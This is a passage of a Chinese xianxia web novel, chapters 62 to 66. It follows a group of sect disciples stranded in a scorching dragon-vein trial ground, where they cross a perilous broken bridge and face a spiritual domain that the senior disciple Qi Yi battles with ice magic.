这两人的嘴炮没完没了，一遇见后就没停过，像是天生的对家，其他人无心理会他们二人，突然被传送到另一个不知是哪的鬼地方，让他们的心情都很糟糕。
那两人越吵越凶，嗓门一个比一个大，最后由上官莲蓉一声怒喝短暂地结束吵架。
上官莲蓉怒道：“你们去问安泛泛啊，凭什么就她不在这里，她是你们的人你们不知道吗。”
她这一喝才让所有人注意到，九个人的队伍少了一个人，安泛泛没有跟他们一样被传送到这里。
闻人丰也道：“你们队的安泛泛怎么不在这，我们三个搅屎棍可是都在这，一个都没少。安泛泛知道前面有危险却不告诉你们，看来她也看透你们并不怎么样。”
谭白紧着眉头，斥道：“少挑拨离间，安师姐不是那样的为人，事发突然谁能反应过来，就算有问题也该是你们。”
对方没回复，却是抱着看笑话的态度。
他转而询问在他旁侧的东闲，先前东闲与安泛泛有星图记录双方位置，东闲理应知道安泛泛身在何处。
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“慕师妹，你可知道安师姐一起跟来了吗，会不会她被传送到另一个地方。”
东闲不由得记起，安泛泛是有想拉她的，在被那股热浪卷走前，安泛泛的手差点触碰到她。
东闲摇了摇头，回道：“师姐很幸运，没有跟我们一起被传送到这。”
谭白没表露太多情绪，只是道：“好，安师姐没事就好。”
他说着松口气的话，仍是紧着眉头，如今情势让他很担心，他隐隐觉得接下来会发生什么不好的事。
秋岚喊道：“我受够了，忙活了大半天什么也没拿到，又被传到这个鬼地方，摊上你们这群搅屎棍就绝不会有好事，我不要法器了，我要退出。”
他说着，作势就要击碎腰间的玉牌。
沉默许久不出声的亓沂喝道：“把你们的玉牌都收进储物袋去。”
秋岚被她一喝给吓到，真就松手放开了玉牌，他不太明白茫然地问道：“啊？为什么？”
邱少英道：“亓沂师姐的意思是，这个地方不在宗门控制的范围内，我们很可能离开了龙足范围内。”
在意识到他们很可能不在宗门能够掌控的范围内，邱少英的脾性主动软了下来，由她带头示好效果会比较更好，同队的二人也明白这点，所以没再出声同秋岚他们对着喊。
阮轻水也有此意，目前只有大家相互配合才能离开这个不被宗门记载的鬼地方。
“你们应当都了解过赤焰龙脉这个地方，在给出的赤焰龙脉介绍中，没有囊括这处悬崖，而且，宗门选择赤焰龙脉作为试炼点已经有近百年的历史。
“这百年来，更没有任何人碰见过悬崖，这说明我们已经被传到宗门能庇护的范围之外，在这里，击碎玉牌不会让我们离开赤焰龙脉，甚至会让我们永远地留在赤焰龙脉，无法回去。”
秋岚被她们二人的话激起浑身的鸡皮疙瘩，若是方才没有亓沂一声呵斥，恐怕他就要击碎玉牌从而彻底被困在这里。
玉牌是玄清宗与赤焰龙脉的连接，如若不在玄清宗控制的范围内击碎玉牌，就得被迫留下赤焰龙脉，等着宗门的人来救了。
赤焰龙脉虽然有一部分被玄清宗圈住，但其中潜藏的危险仍然在，弟子们能够肆无忌惮地在其中横行，主要是有玉牌的倚仗，能让他们随时都有机会离开赤焰龙脉。
在赤焰龙脉随时都有可能会遇见妖兽，妖兽绝大多数不亲人，见人就攻击，没有了玉牌的保障，若是遇到五阶及以上的妖兽，恐怕等不到宗门来救援，就得死在赤焰龙脉了。
秋岚急忙将玉牌丢进储物袋，然后把储物袋紧紧贴在胸前，玉牌易碎，他碰玉牌都格外小心翼翼，生怕磕着玉牌，可若玉牌真如此容易碎裂，早在他与蓝纹雪翅蛾的打斗中，腰间的玉牌就得被余波震碎。
不管怎么样，此刻的玉牌在大家心中都是无比脆弱的存在。
阮轻水舔了舔干裂出血的唇，有些焦躁地道：“你们有没有觉得，这里的气温过于高了。”
63.第 63 章
她无疑道出又让众人心沉的发现。
龙脉的气温太高，不是他们能承受住的，尽管他们每个人都准备了抵御炎热的法器，但在这里，这些法器要么已经报废，要么就在报废的路上，不能为他们提供任何的冰凉。
短时间地停留在这里，已经使得他们心情焦躁无法保持平静，继续待下去，不是被炙热烤死，就是因为崩溃而发疯。
而秋岚已经要崩溃了，“我们不能一直留在这，不然迟早会死的，顺着这条路向前走应当能回去。”
他们在交谈之际，东闲便静心倾听，思忖着其中异样，出现异变的时候，她与秋岚等人一直跟在后面，不知道前面发生什么。
不过依照前面四人的表现，他们显然也不清楚事情的真相。
这一刻她忽地想看看亓沂的神色，亓沂位于邱少英前面，而邱少英在她的前面，可惜，对方根本没有回头，东闲看不见亓沂的神色如何。
真的太热了，多待一会便是折磨，炎热逼得他们连走路都十分艰难，裸露的肌肤都出现皲裂的痕迹。
有人带了水，但是在打开水囊准备喝下时，入喉的水肉眼可见地急速减少蒸发，能落到喉里的还滚烫得让人哑了声音。
东闲回忆着她进入赤焰龙脉感受到的温度，初进赤焰龙脉时，温度尚且能忍受，有了身上的冰丝蝉法衣护着，相反还有些凉爽。
在被上官莲蓉传送进另一个满是二阶蓝纹雪翅蛾的地方，那里的温度升高，她已开始觉得燥热。
而被传送到这个地方，温度便升高到极致，无法忍受。
这三者间会有什么样的共同之处。
东闲突然想拿出星图，她先前将灵识寄存在星图当中，星图上应当会留下她的行动轨迹。
当她把星图拿出来看时，却发现代表自己的星星，有自己被传送的缘故，中间消失了一段轨迹，现在这颗星星随着她的动作缓慢移动。
看来想依靠星图离开这里的想法是不成立的。
东闲继续看着星图，寻找着另一颗星星，星图可以扒拉移动，她马上看见安泛泛的那颗星，还停留在原处并没有离开。
东闲只看了一眼，把星图收了起来。
她继续思索着如何找到抵御炎热的方法，从她的经历可见，温度越高遇到的妖兽品阶也越高，在他们的前面很有可能遇到五阶这样的大妖兽。
赤焰龙脉并非有赤焰，因其炎热迫人才得赤焰一名，东闲算是深刻感受到赤焰二字的含义。
秋岚崩溃地喊道：“我受不住了，这里有的是无穷无尽的炎热，而且温度极高，不用再走几步我就要化成一滩水而死。”
谭白轻斥道：“秋岚你闭嘴，不是只有你一个人在难受。”
后面的话东闲没再听下去，她全心神都被“无穷无尽”四个字所吸引。
东闲转身问道：“阮师妹，龙脉内其实不止火行的妖兽，还有木行的妖兽。”
阮轻水下意识点点头，“是的，虽然这里大部分生存的都是火行妖兽，也更适合火行妖兽生存……”
她愣在这句话，复而明白了东闲的言外之意。
其他人也听出东闲的话外之音，努力转动着被炎热侵蚀的大脑。
赤焰龙脉，一个炎热到极致的地方，却不是仅仅有火行的妖兽生存，那些木行妖兽的生存方式，就很有可能为他们提供抵御炎热的法子。
这无疑为他们带来一点希望的曙光，八个人都振奋起来。
上官莲蓉反问道：“可若是因为木行妖兽已经形成对炎热的抗体呢，物竞天择，适者生存，龙脉的炎热筛选出能适应的存在，故而那群非火行的妖兽能够存活。”
她虽然一点就炸，但是脑子好使，一下想出一个反例。
谭白苦着脸补充道：“说实话我挺不想在这里看到木行妖兽，它们定然要比火行的妖兽还要难对付。”
闻人丰挑眉看他，“这句话就不用说了，我们现在已经够麻烦了。”
这话说得好似他是乌鸦嘴似的，谭白倒也没劲反驳，他不似秋岚那样脾气不好，是要当场报复回去的性子。
邱少英拧起眉头，道：“难道就没有出路了吗？”
亓沂道：“龙脉的炎热非自然原因。”
龙脉没有火山也没有岩浆，这里本不该拥有迫人的高温。
“是有一种存在为它提供力量。”
说到这，她因还在思忖，而话中带上了些许不确定：“而这种东西，力量很强大，能覆盖整个龙脉，它或许随处可见，或许藏在某个东西中。”
东闲道：“我们既然已经能确定这个东西是存在的，那我们就应当有应付的方法了。”
闻人丰问道：“你怎么敢确定如今我们有了应对的办法？”
东闲眨了眨眼，回道：“因为万物都是有规律的，你不知道吗？”
闻人丰：“……”
她明知自己是想问她解决的办法是什么，搁这跟他装傻是吧。
亓沂已经开始为他们分析：“炎热是赤焰龙脉的力量，把赤焰龙脉看作一个国家，在这里生存的妖兽是国家的子民，而我们则被视入侵者，所以赤焰龙脉试图用炎热来击退我们。”
东闲补充道：“让一个国家相信我们的进入不是侵犯，那就得表达友好的诚意。”
阮轻水跟上她们的思路，表达了自己的看法。
“这股力量是在针对我们？我们有与它和好的机会？”
上官莲蓉睁大了眼，分外惊喜，甚至忘却了炎热。
“一个国家防守最重要的就是王宫，赤焰龙脉对付我们的力量越来越强大，那不就是意味着前面很有可能是王宫，而王宫内总是藏着这个国家最紧要的东西，那我们是不是就能遇见圣阶法器？”
秋岚毫不客气地打破她的幻想，道：“那也得有命拿，如果真要防守，这股炎热绝对不是国家最后的力量。”
邱少英道：“行了，我们目前要紧的是怎么让这股力量认可我们，不要再提其他无关的事。”
邱少英又道：“亓沂师姐，你说说我们要怎么样才能离开这里吧。”
作为队伍中最强劲的存在，亓沂俨然成为这个队伍的主心骨。
东闲意味不明地笑了，亓沂察觉到投来淡淡的一瞥，东闲想眨眨眼示意她怎么了，岂料亓沂收得飞快，生怕与她有交流似的。
发作到一半就被人拂了面子，东闲有点点不爽，很想把她脸掰过来，跟她好好对视一息再掰回去。
亓沂道：“我先前遇到一只四阶的木行妖兽，它的力量没有明显的火行特征，龙脉要我们适应它而非抵抗它，那些不属于火行的妖兽正是明白这点才能在龙脉生存。“
阮轻水恍然大悟，真心夸
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赞道：“原来是这样，如若只需要我们适应它，那说明它并非排外，亓沂师姐真是多亏有你在，不然我们都得被困在龙脉。”
上官莲蓉也道：“有亓沂师姐在果然什么问题都不再是问题，亓沂师姐，接下来你就放心使唤我们，我们一定会为亓沂师姐扫平一切麻烦。”
她还是不想错过前方的宝物，很有心机地表示要继续跟着亓沂。
秋岚也不甘落后地喊道：“亓沂师姐，我们也能帮上忙的，要有什么事，你放心叫我们。”
众人皆向亓沂投来夸赞敬佩的目光，纷纷表达他们最大的敬仰，把她捧在其中，平白为她笼起盈盈微光，看着甚是高大。
亓沂无动于衷，没有回应他们，只是唤了东闲。
“慕婉思。”
东闲应了一声。
“布阵。”
这里只有“慕婉思”有星日马传承，布置五形相生阵必须要由她出手才行。
东闲掐诀起阵，五行相生阵很快成型，阵法没办法将整个龙脉的火行力量都平摊为其他四行，人体也是有五行元素的，东闲将入阵的八人体内的五行皆转化适应这里的火行，这样他们不用受火炙烤的痛苦。
经她这么一处理，众人终于不用觉得炎热，同行让他们成功被认可，不再受炙烤之苦。
痛苦是减少了但仍然存在，五行转换能让他们适应火行，不受火的侵害，但是身体因为排斥还是使得他们感觉不舒服。
邱少英讶异道：“原来只用五行相生阵就能解决吗。”
他们没想到用五行相生阵克服炎热，主要是这阵法就没有过用在人身上的例子，一般都是药谷弟子用来促进灵植生长的。
谭白道：“亓沂师姐，为何不选择转化成水行？”
水克火，明明转换成水行能够更加克制火行力量，这是谭白不解的地方，他问得很诚恳，知道亓沂有她的想法，自己也是单纯地表达不解。
亓沂道：“我不曾遇见过水行妖兽。”
水克火，但是在火的主场，水很难打败火，如若选择转化成水行，这就变相告诉龙脉他们在对抗它。
亓沂不确定水行能否在龙脉起作效，保险起见，将他们的五行转换成火行。
亓沂道：“前面存在机遇，如若你们想继续往前走，必须保证要在两个时辰内回去，我只是把你我的五行伪装成火行，这是一种欺骗，龙脉不会容忍欺骗，届时对我们施加的力量会更加强大。
“并且，我无法确保长时间依赖一个刚达淬灵境的修士所布下的五行相生阵，会产生什么效果。”
东闲颇觉意外，她没想到亓沂会直接说出来，这么大一个香饽饽摆在眼前，谁还会舍得放弃，至于亓沂的最后一句话，她有选择地忽略。
另外几人神情微妙起来，多是意动的情态。
闻人丰道：“亓沂师姐，你就这样告诉我们吗？”
亓沂道：“我在陈述事实，你以为我在说什么。”
她斜睨了闻人丰一眼，目光无甚情绪，天生强者上位的气使得她那一眼极为威严，不可侵犯。
一句陈述事实让人有了另一种想法，亓沂根本没把他们放在平等的竞争对手的位置上，这就是她的态度，他们多想是他们高看自己。
原来是根本不把他们当作对手啊。
东闲很没有自觉地笑弯了眼。
64.第 64 章
亓沂一言可谓不给在场任何人面子，偏生她说得极为自然，叫其他人面子都挂不住，却无人敢出言反驳。
邱少英他们三人先表达态度，决定要留下来，他们心中清楚，若等明年再来赤焰龙脉他们必成众矢之的，继续向前探索或许还能跟着亓沂分羹一杯，哪怕是见见大场面也好比空手而归。
另一方的谭白方要说他想离开，一旁的秋岚眼疾手快地拉住他，同样也拉上阮轻水，示意他们看上官莲蓉。
谭白扶额无奈，这人还惦记着与上官莲蓉的怨仇。
“亓沂师姐都说前面有机遇，你们就不想看看吗，最重要的是我们不能让上官莲蓉那个小人得逞，是她害得我们如此地步，怎么说也不能让她有所得的离开。”
一给两人心音传讯结束，秋岚转头就向亓沂道：“亓沂师姐，我们考虑好了，我们也留下来。”
两人见状，只好由他去。
最后发言的东闲也道：“我想继续跟着大家。”
亓沂回身，出声催促前面的闻人丰：“走。”
闻人丰站在队伍之首，最能够直观地看清前路，也能更听得清前方呼啸的狂风。
这风的分布似乎是有范围的，并没有朝他们这扩散，但随着他们的接近，可闻风声的呼啸更为放肆，隐隐能够感受到一阵吸力。
闻人丰大声提示道：“前面似有飓风大作，各位都小心点。”
在他话落不久后，东闲冲着前面的人道：“邱师姐，能让我走在前面吗？”
邱少英迟疑了一下，她不太明白对方为何要执意走在她前面，但是她还是答应了。
亓沂虽然很强，站在她附近会有安全感，但是她的气场太强了，又极具侵略性，令她不敢离亓沂太近。
邱少英为了不让队伍在她这松垮，才努力顶着亓沂的气场拉近二人间的间距，不然她可不想贴这么近，来自亓沂身上的压迫感太吓人。
有人想要替她抗压，邱少英表示求之不得。
她侧开身子，以便东闲通过。
两个人占一条道显得很拥挤，东闲得挨着她经过，难免会不小心磕磕碰碰，东闲歉意地看向她，邱少英感激都来不及怎么还会责怪她，所以道了声没事，还主动搀扶着东闲小心她掉进深渊。
等到东闲替她抗压了来自亓沂身上的气场，邱少英忍不住小小地松口气。
亓沂知道身后的动静，也能想象到自己回首肯定看见一个挂着不知多少真意笑容的人，索性没理。
后面的上官莲蓉歪头看见阮轻水前面的动静，不免喊道：“慕婉思，你好端端的要换位置干什么？”
东闲回道：“亓沂师姐能予我安全感，你们呢？”
他们立场的确不合，也不知是不是心虚，上官莲蓉愣了一下没能及时反驳。
少顷，上官莲蓉不服气地道：“我们现在是一路的，再蠢也不会对自己人动手吧。”
东闲没吭声，上官莲蓉自觉没趣也不再说话。
这条羊肠小道是环山向上延伸，如一条缠附在山身的巨蛇，往后是断崖，只能往前寻出路，原本以为路途不遥远，几人便未打算动用御风术，选择徒步前行。
闻人丰意图使用御风术穿过飓风，岂料这飓风中暗含灵力波动，不穿进去还感应不到，进去方知灵力汹涌，闻人丰方想用御风术穿过去，就被风中汹涌的灵力拍回去。
这一拍拍得闻人丰后背砸在峭壁下，发出砰的一声，内置的法衣能护他肉身不被划破刺伤，但也叫他被拍得胸腔血液翻涌，整个身子已经悬在半空中，眼看就要受惯力坠下悬崖，闻人丰本人因为没想到狂风中有灵力波动，还没能立刻给出反应。
好在其后的亓沂顺手揪住他的衣襟，展现惊人的臂力，将人一整个提起往后一带，闻人丰便稳当落在她身后。
她毫不留情地斥道：“你学的那些就是让你不动脑做事。”
这声明显斥责的意味听来不好受，闻人丰是个要面子的人，但斥责他的人是亓沂不是其他人，而且也是他行事莽撞在先可没有反驳的理由。
闻人丰老老实实地说了声“对不起亓沂师姐，我下次会注意。”
亓沂微不可见地蹩眉，显然很不满意他的回话，周身气场也因此而加强几分，惹得闻人丰畏畏缩缩，心中万分希望东闲能不能再说一句同他换位置。
亓沂是救了他，但他宁可不被救也不要是亓沂救他，他对亓沂的畏远大于敬。
飓风太大，他们几乎都是整个后背贴在墙壁，感受着硌人的疼痛带来的安心，而这点安心赫然不够，他们还要一手扣在墙壁凸出的地方，一定要抓住它慢慢往前挪动，因为越往前路越窄，只够一只成人脚掌的距离。
所幸的是，紧贴在峭壁的确不容易被狂风掀到，以一种极为缓慢的速度前进，基本上是有惊无险。
唯一的变故在邱少英身上，在最后一个人从飓风中出来后，她再难坚持住晕厥过去。
阮轻水最先发现邱少英晕倒，立刻检查她情况并试图唤她醒来，几番无果她大声喊道：“不好了，邱师姐她不知道为什么昏了过去，怎么唤都醒不来。”
几人闻言围上来。
秋岚疑惑道：“怎么会只有她出事了，你们觉得难受吗，难道是她碰了什么不该碰的吗？”
谭白紧着眉头道：“如若安师姐在的话，她兴许能够知道是什么原因造成。”
可惜安泛泛不在，队伍里唯一一个药修与他们走散了。
这种莫名其妙的状况最能引发众人心中的恐惧，他们完全猜测不到邱少英为何突然昏迷不醒，只能归因于飓风的作效。
谭白继而问道：“她的情况怎么样？”
阮轻水已经恢复冷静，意识到自己太过激动吓住大家，语气竭力平稳：“没有生命危险，也没有出现灵魂出体的情况，她的状态很正常，只是不知为何醒不过来。”
邱少英面色红润，呼吸平稳，仅仅只是昏了过去。
自始至终亓沂没有发表过任何一个观点，只在他们说得差不多了，才出口询问道：
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“还走吗？”
还要继续走吗？
就这样离开众人是不甘心的。
他们还没有看见前面潜藏的机遇，坚持这么久时间，仅仅是因为一个人的昏迷而选择离开，属实是有些憋屈。
邱少英虽然昏迷，但并没有伤到根本，应当是有办法唤醒的。
闻人丰道：“我可以继续往前走，邱师姐既然只是昏迷应当也不会有事。”
秋岚道：“你们还要往前走，不管邱少英的死活了？”
上官莲蓉呛道：“保护邱师姐有我们在，不劳你费心了。”
她转而从阮轻水那把人接过去，很有意地拉开双方距离。
秋岚拉住谭白和阮轻水，低声道：“要不我们还是走吧，我开始觉得心里不踏实。”
上官莲蓉听见了，不客气地嘲讽道：“呦，知道怕了。”
阮轻水按住要发作的秋岚，道：“我们都走到这步，现在回去还是太早，机遇一般都出没在危险地带，但也有例外，我们目前遇到的危险还算不了什么，兴许出路也在前面。”
峭壁上有一座古老的断桥，横跨在两边的悬崖间，勾连着对面的悬崖。断桥失修许久，仅剩几块残缺的木板勉强构成桥的形状，无法为凡人正常通过。
对于一群修士来说，纵是没有桥他们也能御风通过，可在经历过方才的凶险，他们开始做最坏的打算，这座断桥恐另有玄机。
东闲向前探了几步，几块碎石因她的动作而坠落，向下依旧是看不见底的万丈深渊。
光从视觉上看不出这座断桥潜藏着什么危机，若仔细感受周遭灵力波动，便能发现这座断桥确有其不同。
试炼严格控制弟子随身携带的法器，几人未曾想到此行需要飞行一类的法器，除了谭白和东闲能够御剑过去，便只有上官莲蓉带来的二十面传送骰，不过无法帮她解决眼下的难题。
阮轻水主动向上官莲蓉道：“上官师妹，你一个人带着邱师姐可能不行，我来帮你吧。”
同队的秋岚不爽有人帮上官莲蓉，而且这个人还是他们队的人，在听见阮轻水是因为担心昏迷的邱少英后，他压下情绪，没出声。
闻人丰道：“不用了，我们二人能照顾得好邱师姐。”
谭白道：“那我来探路。”
说着，他先试探性地站在断桥的第一块木板上，这座断桥仅剩几块木板幸存，每块木板相隔甚远，定是要人御风过去。
奇怪的是，他一上了断桥，整个人也消失了。
众人叫怪，稍稍等了一段时日，便听见他传来的一句话。
“可以一试。”
听他亲口说还能应付，几人大多又与他境界相近，便不觉可怕纷纷迎上去。
在大家都要过桥时，东闲拉住亓沂。
亓沂看向东闲扯住她衣袖的手，因对方突然的动作而不得不停下，也因此慢了其他人一拍，问道：“做什么？”
是一句疑问。
东闲理直气壮地道：“我过不去。”
65.第 65 章
这群人就属她最弱，安泛泛不在没人愿意保障她的安全，若是要出事，东闲很可能要暴露身份，如若能让亓沂护着她过去，还能省得她出力。
亓沂没动作，语调冷淡：“淬灵境前期的修为虽然低下，但并非没有应对之能，你日日进出演武场，每日在其中修习三个时辰，休沐时会将时间延长至六个时辰，玄阶级别的阵法已经被你练至黄阶级别，凭你现在的能力，应付凝元境的修士绰绰有余。”
前提得是她把那些百家秘法都用上，在他们的眼皮底下，东闲怎敢用百家秘法。
不过……
东闲眨眨眼，道：“你在特意了解我？”
亓沂用着那双看谁谁害怕的眸子盯着东闲，毫无情绪，又坦荡得过分。
这副模样最无趣了，东闲想逗都没得逗，对方根本不会把你的话放在心上。
东闲也不气馁，主要问题在于让亓沂带她过去，她理直气壮道：“可我还是淬灵境前期的修为，你的猜测并不能应验在我身上，在演武场我没有性命之忧，可在这里我随时都有可能会死。”
亓沂不轻不重地暗中阴阳一句：“你应该回去。”
言外之意，这里容不下你这尊娇气的大佛。
继续往前定然危险不断，如若没有承担危险的勇气，没必要强撑着跟上去。
东闲笑着道：“你回去我便回去了，而且就算让我回去，也得过这座断桥吧。”
亓沂眼眸中划过一转即逝的深意，不待东闲捕捉，便收回视线。
“你接下来最好都老老实实地跟着我。”
她不想把时间继续浪费在东闲身上，快步向前走，衣袖从东闲的手中抽离，她走得利落又果决，连带着抽离的衣袖都带上锋刃之意，割得人指腹刺痛。
东闲看着被割到的指腹，并没有血痕，却生生看出来血痕，凝神一看，才发觉是自己幻视了。
莫名的有些不舒服，大抵是因为她经常不会被拒绝，头一回被人拒绝了感到不甘心吧。
东闲又怀疑自己，难道我是小肚鸡肠的人吗，这有什么好不开心的。
亓沂待何人都是那副冷淡不留情的态度，待她不例外才是正常，她本来也没指望亓沂答应，待会死皮赖脸缠着亓沂，亓沂总会忍不住要出手的。
在固定断桥的木桩边上，亓沂停下，向着还没动作发愣的东闲道：“走到前面去。”
亓沂不但生得一副上位者的模样，说话间的语气更是带着命令的意味，这也是旁人不会喜欢她的一点缘由。
命令的口吻总是让人不适的，但东闲听出“你走在前面我会在后面抗住一切”的意味来，听起来真是美妙到不像话。
东闲头一回在亓沂那听到一句好话，眼角笑意渐渐漾开，走路带起的风都透着轻快的意思。
虽然想不出为什么感到不高兴，但她开心一定是因为自己得到想要的结果。
亓沂不知她是何想法，只瞧出她面上笑意真实了不少，她不由得多看一下，便看着她已经走到自己前面，两脚踩在一块颤颤巍巍但仍能坚持的木板上。
亓沂道：“用御风术，动作尽快尽好。”
东闲自动为她补充，你只管向前走，我会解决所有麻烦。
东闲“嗯”了一声。
亓沂让东闲走在前面，答应为她出手，并非是她向这个娇气鬼低头，她还希望东闲别走。
起初东闲用御风术很顺畅，前面无论是出现飞箭还是刀刃，都被身后的亓沂施法给挡下。
她几乎真的只需要往前走，实在轻松极了。
等到飞到一半，有无形的力量如大山般沉闷地压来，东闲被逼得停下使用御风术，勉强立在一块木板上，感觉整个胸腔都在被挤压。
“慕婉思，你如何了？”
再往前去，一张脸都被压挤得变形，无法正常睁眼，听见亓沂的呼唤，她不由得道：“你不觉得难受吗？”
亓沂却道：“恐高？”
东闲站在一块残缺的木板上，身子轻微地颤动着，两手死死抓住勾连两岸的铁索，双眼紧紧闭着，像极了恐高的模样。
从亓沂口中得到这样的答案，东闲能够确定，这种不适是亓沂不曾有的。
为何亓沂不会有，东闲暂且想不出缘由，她道了声“无事”，强行逆着这股要将她逼退的力量。
倒也不必什么都靠着亓沂，她想试试自己能在这股力量下能坚持多久。
东闲在玄清宗过得安逸日子太久了，久到她快忘记盗取圣果那段提心吊胆的日子。
她其实厌烦玄清宗过于安逸的日子，她更喜欢危险四伏不断闯荡的激情，那样的日子才够爽快，日日在演武场训练，勉强能给她带来紧迫与刺激，但是也颇受限制。
好心的路师姐一直都有在关心她，自从怀玉长老暴露身份后，路师姐生怕这会伤到东闲的心，时不时会找她谈话开解她，得知东闲花上大量时间在演武场，路师姐还以为东闲是受了刺激，还准备找宗门内的音修抚慰她受伤的心灵。
过于安逸的生活对她毫无用处，她一直想知道自己能够撑住的极限点是什么程度，现下倒是可以一试。
这股力量很蛮横，但也仅是单纯地想要击退东闲，不让东闲过去，东闲尚能前行，很快大汗淋漓，但步伐速度不改，甚至可见加快的迹象。
亓沂如若一个人的话速度必定很快，最后一个走反而是第一个过去，也不足为奇，然而其他人都抵达对岸都没能见到亓沂的身影。
谭白道：“亓沂师姐还没过来，她在桥上。”
几人都看过去，可惜他们什么也看不见。
当东闲成功抵达对岸的时候，身后跟着的是亓沂时，这几个人异常沉默。
方才没有一个人提出要带着东闲走，原以为东闲会非常吃力，甚至还会在原地徘徊，结果亓沂师姐跟在她身后，耐着性子等她到达对岸。
他们头一回发现，亓沂师姐没有想象中的那般冷酷无情，也多多少少地感到心虚。
抵达对边悬崖时，东闲身上所有的
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不适都没了，让她因受挤压而昏沉的头脑清醒许多。
她观察众人的神态与言语，若是他们也感受到异常他们肯定会说出来，但他们没有说，一个也没有说。
东闲已能断定那点不适是独她一个人会有的。
如若她没猜错，断桥在筛选修士，将连凝元境都没有的弟子给筛选下去。
唯一不足凝元境的东闲，在亓沂的带着下成功过桥。
东闲知道自己能够抵达对岸，是有亓沂的帮助，不然她在半途中一定得被那些攻击坠下深渊。
她转眸看过去，对方并未理会她，穿过人群走到最前面。
“不要停下，继续走。”
怪石嶙峋拔地而起，古木秀树高耸入云，峭壁上飞流直下的瀑布似万丈白练，飞瀑喷流如作雷鸣，众人连忙掐诀躲避瀑布的冲刷。
良久，众人不约而同地停下脚步，周边的景致没有变化，更没有出现什么凶兽，但是这里的灵气极有规律地运转着。
阮轻水道：“这种感觉好像是灵域。”
灵域的形成有两种，一种是由修士展开的灵域，一种是在自然成型的灵域。
他们遇到的是第二种，一旦能突破这种灵域，将能得到相应的馈赠。
但是大家的神色并不算好，因为他们清楚他们没有应对的实力，必然会死在灵域当中。
闻人丰渐渐白了张脸，低低自语道：“难怪这一带一直没有遇到什么妖兽，原来是自主形成了灵域。”
自主形成的灵域可比妖兽更难以对付。
而且他们已经能感受到，这灵域是他们绝对无法抗衡的存在。
除了亓沂外，几个人都难以忍受灵域的威压，而不可自抑地两腿打颤想要跪下去。
虽然他们与亓沂都只有一个境界的差距，但是随着境界增长，越往后的小阶段越难攀升，炼心境后期与炼心境中期就有很大的实力差距，而比起他们这些凝元境的修士，更是能衬得他们如蝼蚁。
谭白回身望去，发现东闲居然也稳当立着，不免问道：“慕师妹，怎么你没有事？”
东闲回道：“也许是因为我没有往前走。”
的确，喂她一人杵在后边没有继续向前迈步，与他们保持一定距离。
原来这灵域不是强制形成，而是限制区域范围，大家都向后退一步，退至与东闲齐平的位置，果真没了那种压迫感。
上官莲蓉道：“如若我们拒绝进入灵域，我们会被永远困在这里无法回去。”
东闲状似无意地道：“我记得灵域只需要一个人来抗压，其他误入的人将不会受到束缚。”
众人目光皆落在她身上，似乎是想指责她怎么能说出这种话来，就算亓沂师姐能够应付，也不能真让亓沂师姐一个人去抗啊。
东闲嫣然一笑，“当然，亓沂师姐一个人肯定不行，那我们大家一起对抗灵域吧，只要我们团结一心，一定能成功破解灵域。”
东闲往前走，唤道：“亓沂师姐，我来帮你。”
66.第 66 章
这声“亓沂师姐”刚唤出，东闲便差点被甩来的冰棱洞穿身体，不过也并非是她躲得快的缘故，亓沂给了她反应时间，这是在警告她，不准触犯她的逆鳞。
东闲也不气，笑眯眯跟着进入灵域，进去后脸上的笑意便似冰封了般显得格外僵硬。
这威迫要比在断桥上难抗百倍不止。
东闲也没强装骨气，十分妥协地在这道力量中弯下腰。
见东闲都主动进入灵域当中，退回去的几人又不好意思继续留着，只好硬着头皮踏进灵域的范围内。
就要进去的时候，闻人丰忽而高声喊道：“这里好像是出路，我们只要过去就应当能走了。”
闻人丰不知何时离开他们身边，出现在离他们十步远的地方，攀上一块风化得看不清字迹的石碑上，他伸过去的手凭空消失在众人的视线，而他本人能感觉到消失的那只手，被有着把他们传过来时一样的力量接触。
众人闻言皆喜，主要是这灵域实在难以对付，连什么招式都没施展，便已经被死死钳制。
原本他们还想见识见识，但是多种磨难的折磨让他们失去对宝物的兴趣，重要的是，他们在这是有生命危险的，可不能随时碎玉牌回到玄清宗。
上官莲蓉道：“亓沂师姐，我想邱师姐不能留在这，我们还是尽快把她送回去。”
秋岚也道：“亓沂师姐，我坚持不住了，我不想再往前，我们想个办法回去吧。”
亓沂道：“我不会回去。”
“可是，”秋岚看了眼大家，鼓起勇气继续道：“亓沂师姐，我们不往前了，我们想回去。”
他们想让亓沂为他们抗住后面的危险，让他们安全过去，在这种情况下，的确只有亓沂能应付灵域。
亓沂读出他们的言外之意，并没拒绝，对她来说，与其让他们留下来连累自己，不如让他们尽快离开。
“要走就走。”
一群人得了应允，纷纷往闻人丰的方向而去，不敢停留半分，生怕灵域长腿朝他们而来。
这群人中，独独东闲选择留下。
亓沂余光瞥了眼她，继而释放炼心境后期的威压，因她独自抗压，成为了灵域重点攻击对象，给了他人离开的机会，跟着进入灵域的东闲也能动作，但她还是没有选择离开。
亓沂凝神对付灵域，在她释放炼心境威压之时，四方各立火灵凶神恶煞地瞪眼看她。
亓沂脚下生冰，所过之处，冰霜野蛮生长覆盖的形势要比蝗虫过境还可怕，几个呼吸的功夫，这片天地，将近一半都被亓沂的冰霜覆盖，连独属赤焰龙脉的高温都被这冰雪压下去，乍然还以为来到了冰山雪地。
寒意弥漫，似乎都要作雪，东闲在这炼心境的威压下无法自抑地打了个冷颤。
“极冰凛寒术。”
东闲轻轻念出声，她伸手，骤然结出一层寒冰将整个手都包住，但她本人并不觉得有丝毫难受，这是驯化后的冰霜，乖巧听话地为她使用。
冰雪是亓沂最擅长的法术，她的法术是控制五形中的水，进化为霜冰，她的灵域往往都有冰雪覆盖。
东闲合起手掌，附在手掌上的冰雪便碎裂落下，发出清脆的冰裂声。
她也会。
灵域被亓沂激怒，没有将东闲纳为目标对象，在东闲眼中是看不见亓沂在经历什么，她所见之景仍是怪石嶙峋与古木秀树。
亓沂眼中场景早已发生不同的变化，她所见之景异常符合大家对赤焰龙脉的幻想，四方矗立的火灵，抬掌便生出无数烈焰火球朝她袭来。
被她以冰雪覆盖的脚下熔浆似火龙在呼啸冲出束缚，直穿云霄，一处又一处皆如此，仿若擎天柱，飞溅的橘红色烈焰若星星点点洒了一地，灼烧侵蚀着亓沂释放的冰雪。
亓沂御风闪避脚下欲穿的火龙，如雨打来的火球闪电逼近她，又蓦然被不可抗拒之力逼停在距她十丈之地，顿住，被凝结成冰，冰封住火行的力量，亓沂目光一凛，那些冰珠全都如数反击给四方火灵，一个不漏。
而在东闲眼中，只看见亓沂周身生起无数凝结而成的冰珠。
亓沂周身再度结成冰刃，裹挟着骇人的灵力，东闲识趣地躲到边上，避免误伤。
